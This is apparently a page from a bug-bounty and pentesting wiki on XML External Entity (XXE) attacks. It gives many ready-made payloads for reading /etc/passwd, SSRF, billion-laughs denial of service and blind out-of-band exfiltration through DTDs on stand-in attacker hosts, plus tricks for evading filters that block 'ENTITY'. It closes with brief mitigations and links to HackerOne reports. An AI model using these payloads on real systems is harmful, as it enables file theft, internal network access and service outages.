Sec-88
  • πŸ§‘Whoami
  • πŸ•ΈοΈWeb-AppSec
    • Features Abuse
      • 2FA
      • Ban Feature
      • CAPTCHA
      • Commenting
      • Contact us
      • File-Upload
      • Inviting Feature
      • Messaging Features
      • Money-Related Features
      • Newsletter
      • Profile - Settings
      • Registration
      • Reset Password
      • Review
      • Rich Editor/Text
      • Social Sharing
      • Billing-Shipping Address Management
      • Integrations - Webhooks
      • API Key Management
    • Reconnaissance
      • Attacking Organizations with big scopes
    • Subdomain Enumeration
    • Fingerprinting
    • Dorking
    • XSS-HTML Injection
    • Improper Authentication
      • JWT Security
    • OAUTH Misconfigurations
      • OAuth 2.0 Basics
      • OAUTH Misconfigurations
    • Auth0 Misconfigurations
    • Broken Access Control
      • Insecure Direct Object References (IDOR)
      • 403 Bypass
    • Broken Link Injection
    • Command Injection
    • CORS
    • CRLF
    • CSRF
    • Host Header Attacks
    • HTTP request smuggling
    • JSON Request Testing
    • LFI
      • LFI to RCE
    • No Rate Limit
    • Parameters Manual Testing
    • Open Redirect
    • Registration & Takeover Bugs
    • Remote Code Execution (RCE)
    • Session Fixation
    • SQL Injection
      • SQL To RCE
    • SSRF
    • SSTI
    • Subdomain Takeover
    • Web Caching Vulnerabilities
    • WebSockets
    • XXE
      • XXE to RCE
    • Cookie Based Attacks
    • CMS
      • AEM [Adobe CMS]
    • XSSI (Cross Site Script Inclusion)
    • NoSQL injection
    • Local VS Remote Session Fixation
    • Protection
      • Security Mechanisms for Websites
      • Cookie Flags
      • SameSite Cookie Restrictions
      • Same-origin policy (SOP)
      • CSP
    • Hacking IIS Applications
    • Dependency Confusion
    • Attacking Secondary Context
    • Hacking Web Sockets
    • IDN Homograph Attack
    • DNS Rebinding Attack
    • LLM Hacking Checklist
    • Bypass URL Filtration
    • Cross-Site Path Traversal (CSPT)
    • PostMessage Security
    • Prototype Pollution
      • Client-Side Prototype Pollution
      • Server-Side prototype pollution
    • Tools-Extensions-Bookmarks
    • WAF Bypassing Techniques
    • SSL/TLS Certificate Lifecycle
    • Serialization in .NET
    • Client-Side Attacks
      • JavaScript Analysis
    • Bug Bounty Platforms/Programs
  • βœ‰οΈAPI-Sec
    • GraphQL API Security Testing
      • The Basics
      • GraphQL Communication
      • Setting Up a Vulnerable GraphQL Server
      • GraphQL Hacking Tools
      • GraphQL Attack Surface
      • RECONNAISSANCE
      • GraphQL DOS
      • Information Disclosure
      • AUTHENTICATION AND AUTHORIZATION BYPASSES
      • Injection Vulnerabilities in GraphQL
      • REQUEST FORGERY AND HIJACKING
      • VULNERABILITIES, REPORTS AND EXPLOITS
      • GraphQL Hacking Checklist
    • API Recon
    • API Token Attacks
    • Broken Object Level Authorization (BOLA)
    • Broken Authentication
    • Evasive Maneuvers
    • Improper Assets Management
    • Mass Assignment Attacks
    • SSRF
    • Injection Vulnerabilities
    • Excessive Data Exposure
    • OWASP API TOP 10 MindMap
    • Scanning APIs with OWASP ZAP
  • πŸ“±Android-AppSec
    • Setup Android App Pentesting environment on Arch
    • Setup Android App Pentesting environment on Mac M4
    • Setup Android Pentesting Environment on Debian Linux
    • Android App Fundamentals
      • Android Architecture
      • Android Security Model
      • Android App Components
        • Intents
        • Pending Intents
    • Android App Components Security Cheatsheet
    • Android App Pentesting Checklist
    • How To Get APK file for application
    • ADB Commands
    • APK structure
    • Android Permissions
    • Exported Activity Hacking
    • BroadcastReceiver Hacking
    • Content Provider Hacking
    • Signing the APK
    • Reverse Engineering APK
    • Deep Links Hacking
    • Drozer Cheat Sheet
    • SMALI
      • SMALI Cheat Sheet
      • Smali Code Patching Guide
    • Intent Redirection Vulnerability
    • Janus Vulnerability (CVE-2017-13156)
    • Task Hijacking
    • Hacking Labs
      • Injured Android
      • Hacking the VulnWebView Lab
      • Hacking InsecureBankv2 App
    • Frida Cheat Sheet
  • πŸ“ΆNetwork-Sec
    • Networking Fundamentals
    • Open Ports Security Testing
    • Vulnerability Scanning
    • Client Side Attacks
    • Port Redirection and Tunneling
    • Password Attacks
    • Privilege Escalation [PrevEsc]
      • Linux Privilege Escalation
    • Buffer Overflow (BOF)
      • VulnServer
      • Sync Breez Enterprize
      • Crashed CTF
      • BOF for Linux
    • AV Evasion
    • Post Exploitation
      • File Transfer
      • Maintaining Access
      • Pivoting
      • Clean Up
    • Active Directory
      • Basic AD Pentesting
  • πŸ’»Desktop AppSec
    • Thin Client vs. Thick Client
  • ☁️Cloud Sec
    • Salesforce Hacking
      • Basics
      • Salesforce SAAS Apps Hacking
    • Firebase
    • S3 Buckets Misconfigurations
  • πŸ‘¨β€πŸ’»Programming
    • HTML
    • JavaScript (JS)
      • window.location object
    • Python
      • Python Tips
      • Set
        • SetMethods
    • JAVA
      • Java Essentials
      • Java Essentials Code Notes
      • Java OOP1
      • JAVA OOP Principles
        • Inheritance
        • Method Overriding
        • Abstract Class
        • Interface
        • polymorphism
        • Encapsulation
        • Composition
      • Java OOP Challenges
      • Exception Handling
    • Go
      • Go Syntax Tutorial in one file
      • Methods and Interfaces
      • Go Slices
      • Go Maps
      • Go Functions
      • Concurrency
      • Read Files
      • Write Files
      • Package
        • How to make personal Package
        • regexp Packages
        • Json
        • bufio
        • Time
      • Signals-Exit
      • Unit Testing
  • πŸ–₯️Operating Systems
    • Linux
      • Linux Commands
      • Tools
      • Linux File System
      • Bash Scripting guide
      • tmux
      • Git
      • Install Go tools from private repositories using GitHub PAT
    • VPS
    • Burp Suite
  • ✍️Write-Ups
    • Hunting Methodology
    • API BAC leads to PII Data Disclosure
    • Misconfigured OATUH leads to Pre-Account Takeover
    • Automating Bug Bounty with GitHub Actions
    • From Recon to Reward: My Bug Bounty Methodology when Hunting on Public Bug Bounty Programs
    • Exploring Subdomains: From Enumeration to Takeover Victory
    • 0-Click Account Takeover via Insecure Password Reset Feature
    • How a Simple Click Can Lead to Account Takeover: An OAuth Insecure Implementation Vulnerability
    • The Power Of IDOR even if it is unpredictable IDs
    • Unlocking the Weak Spot: Exploiting Insecure Password Reset Tokens
    • AI Under Siege: Discovering and Exploiting Vulnerabilities
    • Inside the Classroom: How We Hacked Our Way Past Authorization on a Leading EdTech Platform
    • How We Secured Our Client’s Platform Against Interaction-Free Account Thefts
    • Unchecked Privileges: The Hidden Risk of Role Escalation in Collaborative Platforms
    • Decoding Server Behavior: The Key to Mass Account Takeover
    • Exploiting JSON-Based CSRF: The Hidden Threat in Profile Management
    • How We Turned a Medium XSS into a High Bounty by Bypassing HttpOnly Cookie
Powered by GitBook
On this page
  • What is XXE (XML External Entity) Vulnerability?
  • Test Payload
  • CDATA
  • Exploitation
  • Bypassing Filters that Block "ENTITY":
  • Mitigation:
  • References :
  • Top XXE reports from HackerOne:

Was this helpful?

Edit on GitHub
  1. Web-AppSec

XXE

CWE-611: Improper Restriction of XML External Entity Reference

PreviousWebSocketsNextXXE to RCE

Last updated 7 months ago

Was this helpful?

What is XXE (XML External Entity) Vulnerability?

XML External Entity (XXE) is a type of vulnerability that occurs when an application processes user-supplied XML data without properly validating it. In XML, the term Entity refers to a storage unit of data, which can be internal (within the XML document) or external (an external file or URL). An attacker can exploit XXE to:

  • Read arbitrary files on the server (e.g., /etc/passwd).

  • Make requests to internal systems (Server-Side Request Forgery, SSRF).

  • Cause denial of service (DoS) by using large external entities.

  • Exfiltrate data by sending sensitive information to an external entity controlled by the attacker.

There are various types of XXE attacks:

XXE Attack Type
Description

Exploiting XXE to Retrieve Files

Where an external entity is defined containing the contents of a file, and returned in the application's response.

Exploiting XXE to Perform SSRF Attacks

Where an external entity is defined based on a URL to a back-end system.

Exploiting Blind XXE Exfiltrate Data Out-of-Band

Where sensitive data is transmitted from the application server to a system that the attacker controls.

Exploiting blind XXE to Retrieve Data Via Error Messages

Where the attacker can trigger a parsing error message containing sensitive data.

  1. Convert the content type from "application/json"/"application/x-www-form-urlencoded" to "applcation/xml".

  2. File Uploads allows for docx/xlcs/pdf/zip , unzip the package and add your evil xml code into the xml files.

  3. If svg allowed in picture upload , you can inject xml in svgs.

  4. If the web app offers RSS feeds , add your milicious code into the RSS.

  5. Fuzz for /soap api , some applications still running soap apis

  6. If the target web app allows for SSO integration, you can inject your milicious xml code in the SAML request/reponse

Test Payload

<?xml version="1.0" ?>
<!DOCTYPE data [
<!ELEMENT data ANY >
<!ENTITY cat "Tom">
]>
<Contact>
<lastName>&cat;</lastName>
<firstName>Jerry</firstName>
</Contact>
<?xml version="1.0"?>
<!DOCTYPE data [
	<!ELEMENT data ANY >
	<!ENTITY cat SYSTEM "file:///etc/passwd">
]>
<Contact>
<lastName>&cat;</lastName>
<firstName>Jerry</firstName>
</Contact>

CDATA

Exploitation

LFI Test

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

Blind LFI test (when first case doesn't return anything)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY blind SYSTEM "https://www.example.com/?%xxe;">]><foo>&blind;</foo>

Access Control bypass (loading restricted resources - PHP example)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]>
<foo><result>&ac;</result></foo>

SSRF Test

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "<https://www.example.com/text.txt>">]><foo>&xxe;</foo>

XEE (XML Entity Expansion - DOS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

XEE #2 (Remote attack - through external xml inclusion)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY test SYSTEM "<https://example.com/entity1.xml>">]>
<lolz><lol>3..2..1...&test<lol></lolz>

XXE FTP HTTP Server

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html

<!DOCTYPE data [
<!ENTITY % remote SYSTEM "<http://publicServer.com/parameterEntity_sendftp.dtd>">
%remote;
%send;
]>
<data>4</data>

File stored on <http://publicServer.com/parameterEntity_sendftp.dtd>

<!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://publicServer.com/%payload;'>">
%param1;

XXE UTF-7

<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4

To convert between UTF-8 & UTF-7 use recode. recode UTF8..UTF7 payload-file.xml

Bypassing Filters that Block "ENTITY":

If a web application is filtering or blocking the word "ENTITY" to prevent XXE attacks, there are several bypass techniques you can try:

1. Case Manipulation:

  • Some filters are case-sensitive and may only block the exact string ENTITY in uppercase. You can try different cases, such as:

    <!DOCTYPE foo [ 
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>

    Test variations like:

    • <!entity>

    • <!EnTiTy>

2. Use Parameter Entities:

  • Instead of defining an external entity directly, you can use parameter entities (which start with %) to indirectly reference the malicious entity:

    <?xml version="1.0" ?>
    <!DOCTYPE foo [ 
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://attacker.com/malicious.dtd">
    %dtd;
    ]>
    <foo>&xxe;</foo>

    The malicious .dtd file hosted on attacker.com could contain the payload for reading a file.

3. Hex Encoding:

  • Sometimes, filters may miss encoded characters. You can try encoding the word ENTITY using its hexadecimal or decimal representation in XML:

    <!DOCTYPE foo [ 
    <!&#69;&#78;&#84;&#73;&#84;&#89; xxe SYSTEM "file:///etc/passwd">
    ]>

    This encodes "ENTITY" in decimal (69 for 'E', 78 for 'N', etc.). In hex, it would be <!&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59; xxe SYSTEM "file:///etc/passwd">.

4. Using DTD Chaining:

  • If you have control over external DTDs, you can chain DTDs to bypass filters. This involves referencing a remote DTD file hosted by the attacker:

    <!DOCTYPE foo [ 
    <!ENTITY % remote SYSTEM "http://attacker.com/external.dtd">
    %remote;
    ]>

    The external DTD file (external.dtd) can define the malicious entity, bypassing local filters.

5. XML Comments:

  • Sometimes filters miss entities hidden inside XML comments. You can obfuscate the payload by breaking the word ENTITY into parts:

    <!DOCTYPE foo [ 
    <!--<!ENTITY xxe SYSTEM "file:///etc/passwd">-->
    <!ENT--><!--ITY xxe SYSTEM "file:///etc/passwd">-->
    ]>

6. Base64 Encoding:

  • You might be able to encode the payload and then decode it at runtime. Some parsers allow you to inject base64-encoded external entities and decode them:

    <!DOCTYPE foo [ 
    <!ENTITY xxe SYSTEM "data:text/plain;base64,L2V0Yy9wYXNzd2Q=">
    ]>
    <foo>&xxe;</foo>

    This base64 string decodes to /etc/passwd.

7. Alternative External Sources (e.g., SYSTEM or PUBLIC):

  • Instead of using ENTITY, try to reference external files or URLs using alternative methods. For example:

    <!DOCTYPE foo PUBLIC "-//OASIS//DTD Entity Resolution XML//EN" "http://attacker.com/malicious.dtd">

    Here, the external DTD contains the payload, and you avoid using the ENTITY keyword.

Mitigation:

From a defensive perspective, to mitigate XXE attacks:

  • Disable external entity processing in XML parsers where it's not needed.

  • Use whitelisting for acceptable file or URL references in XML files.

  • Implement input validation to ensure only valid, trusted XML is processed.

  • Ensure your application is updated to use parsers that are not vulnerable to XXE by default.

References :

Top XXE reports from HackerOne:

Methodology

Using private External Entity

Using a public External Entity

[ DTD Blind Out-of-band ]

Untitled

πŸ‘‰

πŸ‘‰

πŸ‘‰

to Starbucks - 308 upvotes, $4000

to Mail.ru - 263 upvotes, $6000

to Twitter - 250 upvotes, $10080

to DuckDuckGo - 209 upvotes, $0

to β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ - 170 upvotes, $0

to DuckDuckGo - 151 upvotes, $0

to Pornhub - 136 upvotes, $2500

to Informatica - 128 upvotes, $0

to Zivver - 111 upvotes, $0

to Semrush - 99 upvotes, $2000

to Pornhub - 89 upvotes, $10000

to U.S. Dept Of Defense - 89 upvotes, $0

to Open-Xchange - 86 upvotes, $2000

to Mail.ru - 70 upvotes, $5000

to Rockstar Games - 68 upvotes, $1500

to Uber - 55 upvotes, $500

to Mail.ru - 54 upvotes, $10000

to QIWI - 53 upvotes, $5000

to Informatica - 44 upvotes, $0

to h1-5411-CTF - 43 upvotes, $0

to QIWI - 39 upvotes, $3137

to WordPress - 39 upvotes, $600

to drchrono - 32 upvotes, $700

to U.S. Dept Of Defense - 31 upvotes, $0

to Starbucks - 28 upvotes, $500

to Informatica - 24 upvotes, $0

to Mail.ru - 23 upvotes, $800

to Evernote - 23 upvotes, $0

to Informatica - 21 upvotes, $0

πŸ•ΈοΈ
whitechaitai
#
#
Blind XXE with out-of-band interaction
Exploiting blind XXE to exfiltrate data using a malicious external DTD
Blind XXE with out-of-band interaction via XML parameter entities
Exploiting blind XXE to retrieve data via error messages
Exploiting XInclude to retrieve files
PortSwigger Lab: Exploiting XXE via image file upload
Exploiting XXE to retrieve data by repurposing a local DTD
XML External Entity (XXE) Processing
XML External Entity Prevention Cheat Sheet
Testing for XML Injection (OTG-INPVAL-008)
XXE at ecjobs.starbucks.com.cn/retail/hxpublic_v6/hxdynamicpage6.aspx
XXE on pulse.mail.ru
XXE on sms-be-vip.twitter.com in SXMP Processor
XXE on https://duckduckgo.com
Phone Call to XXE via Interactive Voice Response
Partial bypass of #483774 with Blind XXE on https://duckduckgo.com
Multiple endpoints are vulnerable to XML External Entity injection (XXE)
XXE through injection of a payload in the XMP metadata of a JPEG file
XXE Injection through SVG image upload leads to SSRF
XXE in Site Audit function exposing file and directory contents
[RCE] Unserialize to XXE - file disclosure on ams.upload.pornhub.com
XXE in DoD website that may lead to RCE
Blind XXE via Powerpoint files
blind XXE in autodiscover parser
LFI and SSRF via XXE in emblem editor
Blind OOB XXE At "http://ubermovement.com/"
XXE Π½Π° webdav.mail.ru - PROPFIND/PROPPATCH
XXE on β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ by bypassing WAF β–ˆβ–ˆβ–ˆβ–ˆ
[rev-app.informatica.com] - XXE
RCE via Local File Read -> php unserialization-> XXE -> unpickling
XML External Entity (XXE) in qiwi.com + waf bypass
Authenticated XXE
XML Parser Bug: XXE over which leads to RCE
XXE on DoD web server
Singapore - XXE at https://www.starbucks.com.sg/RestApi/soap11
[app.informaticaondemand.com] XXE
Blind XXE on my.mail.ru
Non-production Open Database In Combination With XXE Leads To SSRF
XXE in upload file feature